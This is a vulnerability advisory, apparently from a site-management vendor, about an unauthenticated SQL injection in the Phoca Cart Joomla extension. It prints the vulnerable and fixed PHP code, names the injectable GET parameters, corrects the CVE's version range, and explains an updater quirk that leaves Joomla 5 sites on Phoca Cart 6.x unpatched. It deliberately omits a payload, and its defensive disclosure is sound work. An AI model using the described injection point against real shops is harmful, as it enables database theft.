&lt;li&gt;&lt;strong&gt;Joomla’s updater will not offer the fix to a Joomla 5 site running Phoca Cart 6.x.&lt;/strong&gt; The update feed offers it 5.2.4, which is lower than what it has, so Joomla shows nothing&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt;&lt;/strong&gt;, published by the Joomla CNA the same afternoon at CVSS 4.0 9.3, Critical. The range it originally stated, 5.0.0 to 6.1.16, was corrected same-day to 5.0.0 to 6.1.6, but the 5.0.0 floor still omits the Joomla 4 and Joomla 3 lines&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This is not our find.&lt;/strong&gt; Phoca credits the report to Toan Le; we analysed the published diff afterwards&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Phoca Cart 5.2.4, 6.1.7 and 4.0.13 actually changed&lt;/h2&gt;
&lt;p&gt;A warning for anyone trying to check this themselves, because the obvious method gives the wrong answer. GitHub’s compare view between the two tags is useless here. The &lt;code&gt;5.2.4&lt;/code&gt; tag points at commit &lt;code&gt;9549020f&lt;/code&gt;, which is the same commit as &lt;code&gt;6.1.7&lt;/code&gt;. Comparing &lt;code&gt;5.2.3...5.2.4&lt;/code&gt; therefore reports 19 commits and 223 changed files, eight months of unrelated 6.x development, none of which is in the 5.2.4 package that people actually install.&lt;/p&gt;
&lt;p&gt;The real 5.2.4 code exists only in the release ZIP. Download both packages, unzip, and diff the trees:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -sLO&lt;/span&gt;&lt;span&gt; https://github.com/PhocaCz/PhocaCart/releases/download/5.2.3/com_phocacart_v5.2.3.zip&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;curl&lt;/span&gt;&lt;span&gt; -sLO&lt;/span&gt;&lt;span&gt; https://github.com/PhocaCz/PhocaCart/releases/download/5.2.4/com_phocacart_v5.2.4.zip&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; com_phocacart_v5.2.3.zip&lt;/span&gt;&lt;span&gt; -d&lt;/span&gt;&lt;span&gt; v523&lt;/span&gt;&lt;span&gt; &amp;amp;&amp;amp; &lt;/span&gt;&lt;span&gt;unzip&lt;/span&gt;&lt;span&gt; -q&lt;/span&gt;&lt;span&gt; com_phocacart_v5.2.4.zip&lt;/span&gt;&lt;span&gt; -d&lt;/span&gt;&lt;span&gt; v524&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;diff&lt;/span&gt;&lt;span&gt; -rq&lt;/span&gt;&lt;span&gt; v523&lt;/span&gt;&lt;span&gt; v524&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Two files differ. &lt;code&gt;phocacart.xml&lt;/code&gt; has the version bump from 5.2.3 to 5.2.4 and a new creation date, and the rest of its diff is line-ending noise. Everything else is &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;There is no feature work smuggled in alongside the fix, which makes it a low-risk update to apply. The bundled plugins in the package are untouched and stay at 5.1.1.&lt;/p&gt;
&lt;p&gt;The same evening Phoca published 4.0.13, a security release for the Joomla 4 line, and the diff there is the same fix in the same file. The 4.x package differs more broadly, because the component is packaged differently from the 5.x and 6.x builds, but &lt;code&gt;admin/libraries/phocacart/search/search.php&lt;/code&gt; has the identical quoting change. The one structural difference: the 4.x file has four injection points rather than six, because the 4.x line predates the multilingual code path that doubles the count on the newer branches.&lt;/p&gt;
&lt;h2&gt;How does the Phoca Cart SQL injection work?&lt;/h2&gt;
&lt;p&gt;The vulnerable code is in &lt;code&gt;PhocacartSearch::getSqlPartsArray()&lt;/code&gt;, which builds the SQL for filtering products by attribute or specification. Filter values were pasted directly into the query string inside quotes the code wrote itself:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;// Before, in 5.2.3 and 6.1.6: single-quote break-out&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$inA[] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;(at2.alias = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($k) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; v2&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; IN&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; implode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $a) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;\&apos;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;// Before: double-quote break-out&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$inAS[$iA] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;at2.alias = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($k) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; v2x&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $iA &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;.alias = &quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $v2 &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Note that the array &lt;em&gt;key&lt;/em&gt; was already going through &lt;code&gt;$db-&amp;gt;quote()&lt;/code&gt;. Only the values were left raw. The fix pre-quotes the whole array and quotes the scalar:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$aQuoted &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; [];&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;foreach&lt;/span&gt;&lt;span&gt; ($a &lt;/span&gt;&lt;span&gt;as&lt;/span&gt;&lt;span&gt; $vQ) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $aQuoted[] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($vQ);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$inA[] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;(at2.alias = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($k) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; v2&lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt;alias&lt;/span&gt;&lt;span&gt; IN&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; implode&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; $aQuoted) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;))&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$inAS[$iA] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;at2.alias = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($k) &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos; &lt;/span&gt;&lt;span&gt;AND&lt;/span&gt;&lt;span&gt; v2x&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $iA &lt;/span&gt;&lt;span&gt;.&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;.alias = &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $db&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;quote&lt;/span&gt;&lt;span&gt;($v2);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;The same change is applied six times, covering the attribute and specification paths in both the “match any” and “match all” filter modes, each duplicated for the multilingual and single-language code paths.&lt;/p&gt;
&lt;p&gt;Nothing stands between that concatenation and an anonymous visitor. The front-end product listing model reads both parameters straight from the request:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setState&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, $app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getInput&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;a&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)); &lt;/span&gt;&lt;span&gt;// Attributes&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;$this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;setState&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, $app&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getInput&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;s&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&apos;&lt;/span&gt;&lt;span&gt;, &lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;array&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;)); &lt;/span&gt;&lt;span&gt;// Specifications&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla’s &lt;code&gt;array&lt;/code&gt; filter casts the input to an array. It does not sanitise the individual values inside it, so whatever the visitor sends arrives intact at the string concatenation above. The resulting fragment goes into the &lt;code&gt;WHERE&lt;/code&gt; clause and the &lt;code&gt;LEFT JOIN&lt;/code&gt; of the product listing query. That is a public category or product listing page: no account, no token, no user interaction.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Note on what we did and did not test&lt;/p&gt;&lt;p&gt;This analysis is a read of the published diff and the surrounding source, not a live exploitation attempt. We have not run an injection against any site, and we are not publishing a payload. The vulnerable pattern and its reachability are both plain in code that anyone can download, which is why we are comfortable describing the mechanism while leaving the working request to the imagination.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;Which Phoca Cart versions are affected?&lt;/h2&gt;
&lt;p&gt;Everything before the three fixed releases, on every branch. We extracted the newest package offered to each Joomla generation and checked the same function in each:&lt;/p&gt;






























&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Joomla version&lt;/th&gt;&lt;th&gt;Newest Phoca Cart offered&lt;/th&gt;&lt;th&gt;Contains the fix?&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Joomla 6&lt;/td&gt;&lt;td&gt;6.1.7&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 5&lt;/td&gt;&lt;td&gt;5.2.4&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 4&lt;/td&gt;&lt;td&gt;4.0.13&lt;/td&gt;&lt;td&gt;Yes&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Joomla 3&lt;/td&gt;&lt;td&gt;3.5.8&lt;/td&gt;&lt;td&gt;No&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The Joomla 4 package, 4.0.13, was published the same evening as the 5.x and 6.x releases, so the Joomla 4 line is patched after all. Only the Joomla 3 package, 3.5.8, still has the unquoted concatenation, and the Joomla 3 front-end model has the same unfiltered &lt;code&gt;a&lt;/code&gt; and &lt;code&gt;s&lt;/code&gt; binding. No fixed release exists for the 3.x branch.&lt;/p&gt;
&lt;h2&gt;&lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt;, and where its version range is wrong&lt;/h2&gt;
&lt;p&gt;The Joomla project’s CNA published &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-74251/&quot;&gt;CVE-2026-74251&lt;/a&gt; at 12:51 UTC on 16 August 2026, in the gap between the two morning releases and the evening 4.0.13. It scores the flaw &lt;strong&gt;CVSS 4.0 9.3, Critical&lt;/strong&gt;, on the vector &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H&lt;/code&gt;, and classifies it as CWE-89. That is the official severity, and it matches what the code does: reachable over the network, no privileges, no user interaction, and high impact on the confidentiality, integrity and availability of the database behind the shop.&lt;/p&gt;
&lt;p&gt;The description confirms the mechanism independently of our diff. It names the &lt;code&gt;a[]&lt;/code&gt; and &lt;code&gt;s[]&lt;/code&gt; GET array parameters on the public shop items page, says they are “concatenated raw into SQL WHERE clauses without parameterization or escaping”, and states the consequence as “full database extraction via time-based blind techniques”.&lt;/p&gt;
&lt;p&gt;Two details in the record did not stand up to checking, and one of them the Joomla CNA fixed themselves within the hour.&lt;/p&gt;
&lt;h3&gt;The affected range’s top end: 6.1.16, a version that does not exist&lt;/h3&gt;
&lt;p&gt;The affected range was originally given as 5.0.0 to 6.1.16. The highest tag ever published on the 6.x line is 6.1.7, which is the release with the fix. The last vulnerable 6.x build is 6.1.6. The CNA corrected the record the same afternoon, and it now reads 5.0.0 to 6.1.6, which matches reality on the top end.&lt;/p&gt;
&lt;h3&gt;The 5.0.0 floor: it leaves out Joomla 4 and Joomla 3 entirely&lt;/h3&gt;
&lt;p&gt;We extracted 4.0.12 and 3.5.8 and found the identical unquoted concatenation in both. The Joomla 4 line now has a patched release, 4.0.13, but the vulnerable 4.0.12 build is outside the stated range, as is 3.5.8 on a branch with no fix at all. A range starting at 5.0.0 reads as an all-clear for exactly the oldest shops.&lt;/p&gt;
&lt;p&gt;Act on the 9.3, and treat the version range as narrower than reality. If you are running Phoca Cart below 5.2.4 on the 5.x line, below 6.1.7 on the 6.x line, below 4.0.13 on the 4.x line, or anything at all on 3.x, you are affected.&lt;/p&gt;
&lt;h2&gt;Why Joomla’s updater will not offer the fix to some sites&lt;/h2&gt;
&lt;p&gt;Phoca’s update feed publishes one entry per Joomla generation, each behind a &lt;code&gt;targetplatform&lt;/code&gt; regex:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;5.2.4&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;  &amp;lt;&lt;/span&gt;&lt;span&gt;targetplatform&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;5\.*&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;lt;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;6.1.7&amp;lt;/&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&amp;gt;  &amp;lt;&lt;/span&gt;&lt;span&gt;targetplatform&lt;/span&gt;&lt;span&gt; name&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;joomla&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt; version&lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;6\.*&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;/&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Joomla’s extension update adapter matches that regex against the running Joomla version:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$product &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;currentUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;targetplatform[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;NAME&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;&amp;amp;&amp;amp;&lt;/span&gt;&lt;span&gt; preg_match&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;/^&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;currentUpdate&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;targetplatform[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;VERSION&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt; .&lt;/span&gt;&lt;span&gt; &apos;&lt;/span&gt;&lt;span&gt;/&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; JVERSION&lt;/span&gt;&lt;span&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;A Joomla 5.4.7 site therefore only ever sees the 5.2.4 entry. The 6.1.7 entry is discarded before any version comparison happens. Then &lt;code&gt;Updater::findUpdates()&lt;/code&gt; checks that the offered version is actually newer than what is installed, using a &lt;code&gt;gt&lt;/code&gt; comparison:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;version_compare&lt;/span&gt;&lt;span&gt;($current_update&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;version,&lt;/span&gt;&lt;span&gt; $data[&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;version&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;],&lt;/span&gt;&lt;span&gt; $operator) &lt;/span&gt;&lt;span&gt;==&lt;/span&gt;&lt;span&gt; 1&lt;/span&gt;&lt;span&gt;) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $current_update&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;extension_id &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $eid;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $retVal[] &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $current_update;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;With 5.2.4 offered and 6.1.5 installed, &lt;code&gt;version_compare(&apos;5.2.4&apos;, &apos;6.1.5&apos;, &apos;gt&apos;)&lt;/code&gt; is false. No update row is created. The site reports nothing to update.&lt;/p&gt;
&lt;p&gt;So a Joomla 5 site running Phoca Cart 6.x is stranded on a vulnerable version while its update screen looks clean. The extension never appears in the update list at all, and an empty update list is indistinguishable from a patched site. No warning, no flag, no clue that anything is outstanding.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Warning&lt;/p&gt;&lt;p&gt;If you run Joomla 5 with Phoca Cart 6.x, an empty update list is not evidence you are patched. Check the installed Phoca Cart version directly under System, Manage, Extensions, and compare it to 6.1.7 by eye.&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Phoca Cart 6.x installs and runs on Joomla 5 perfectly well, which is how these sites got into this state in the first place. There is no Joomla version gate in the installer, so the manual fix works: download the 6.1.7 package and install it through Extensions, Install, Upload Package File.&lt;/p&gt;
&lt;p&gt;Phoca has since confirmed the behaviour is intended. The morning after the release, in the Joomla community chat’s 3rd Party Extension Updates channel, an agency reported a customer running Phoca Cart 6.1.5 on Joomla 5.4.7 who could not see the update. Jan Pavelka, Phoca Cart’s author, answered:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Jan Pavelka, Phoca Cart&apos;s author&lt;/p&gt;&lt;div&gt;&lt;p&gt;Yes, this is expected behavior, the latest Phoca Cart 5 is offered for Joomla 5, Joomla 5 does not expect Joomla 6 extensions to run on it. So just install [the 6.1.7 package].&lt;/p&gt;&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;So the feed is working as intended and no one is going to change it. A Joomla 5 site running Phoca Cart 6.x is expected to be updated by hand, and the empty update screen is the designed outcome.&lt;/p&gt;
&lt;p&gt;Phoca also recommends the configuration that produces it. Asked in the same channel whether the 5.x line had a security release too, Pavelka pointed to 5.2.4 and added that “it is recommended to use Phoca Cart 6 on Joomla 5”. That makes the recommended setup for a Joomla 5 shop the one setup Joomla’s updater will never service. Follow the advice and every future Phoca Cart security release reaches the site only if a human goes looking for it.&lt;/p&gt;
&lt;p&gt;The Joomla 4 feed entry briefly had a quirk of its own. When 4.0.13 was published, the update feed’s Joomla 4 entry still declared version 4.0.12 while its download URL pointed at the 4.0.13 package, so a site running exactly 4.0.12 was not offered it, because &lt;code&gt;version_compare(&apos;4.0.12&apos;, &apos;4.0.12&apos;, &apos;gt&apos;)&lt;/code&gt; is false. Phoca corrected the feed the same day, and the entry now declares 4.0.13. Sites below 4.0.12 get offered and install the 4.0.13 package normally.&lt;/p&gt;
&lt;h2&gt;The Joomla 4 line is patched, but only if you go and get it&lt;/h2&gt;
&lt;p&gt;Joomla 4 sites are offered Phoca Cart 4.0.13, which we confirmed contains the fix. The update feed declares the version correctly, so the updater behaves: any Joomla 4 site on 4.0.12 or lower is offered 4.0.13 and installs it from the update screen. There is no manual step on this branch.&lt;/p&gt;
&lt;p&gt;Phoca’s own README is candid about which branches it considers finished. As of the 6.1.7 tag it labels the 3.x, 4.x &lt;strong&gt;and 5.x&lt;/strong&gt; lines “no longer supported”, listing 3.5.8, 4.0.12 and 5.2.4 against them, with only 6.x unqualified. So Phoca backported this fix to three branches it has already declared unsupported, and not to the oldest one. That is a defensible line to draw, and better than nothing, but the news item goes further and recommends against staying on any of them: “The only correct approach is to use the latest version of Joomla 6 and Phoca Cart 6.”&lt;/p&gt;
&lt;p&gt;Joomla 4 itself has been out of support for a while: bug-fix support ended in October 2024 and security support in October 2025, and the 4.x series no longer appears on &lt;a href=&quot;https://developer.joomla.org/roadmap.html&quot;&gt;Joomla’s roadmap&lt;/a&gt; at all. A Joomla 4 shop therefore has a patch to install in the short term, and a migration to plan in the medium term, because it is running an unsupported CMS with a shopping cart whose developer is pointing everyone at the newest branch.&lt;/p&gt;
&lt;h2&gt;How the affected Joomla sites break down&lt;/h2&gt;
&lt;p&gt;Of the Phoca Cart installs visible across the Joomla sites we manage:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Not one was on a fixed version.&lt;/strong&gt; Every install we can see predates 5.2.4, 6.1.7 and 4.0.13, which is expected on release day and is why the update path matters&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;About two-thirds&lt;/strong&gt; will be offered a fixed release normally by Joomla’s updater and can be patched from the update screen&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;About a third&lt;/strong&gt; are Joomla 5 sites running Phoca Cart 6.x. These get offered a lower version, so their update screens show nothing at all&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;A handful&lt;/strong&gt; are Joomla 4 sites, which are offered the fixed 4.0.13 release normally by the updater&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That means &lt;strong&gt;roughly a third of the Phoca Cart installs we can see cannot get this fix through Joomla’s own updater, and none of them will be told they are missing it.&lt;/strong&gt; If you manage Joomla shops and your process is “check the update screen, apply what is listed”, that process misses close to a third of the affected sites here and gives you a clean bill of health while doing it.&lt;/p&gt;
&lt;p&gt;The SQL injection itself is an ordinary bug, competently fixed, in a tightly scoped release. Getting that fix onto the sites that need it is the harder half of the job.&lt;/p&gt;
&lt;h2&gt;How do I find every Phoca Cart install across my Joomla sites?&lt;/h2&gt;
&lt;p&gt;The check you need is not “what version of Phoca Cart is this” on its own. It is the extension version and the Joomla version together, because the pair is what decides whether the updater will do anything.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://mysites.guru/features/&quot;&gt;mySites.guru&lt;/a&gt; lists every extension across every connected site, so you can search for Phoca Cart once and get back every site running it with its version, alongside the Joomla version for that site. That turns a site-by-site login into a single search. It is part of the subscription rather than a free lookup tool, and if you already manage a batch of Joomla sites it is the difference between knowing which shops are stranded and guessing.&lt;/p&gt;
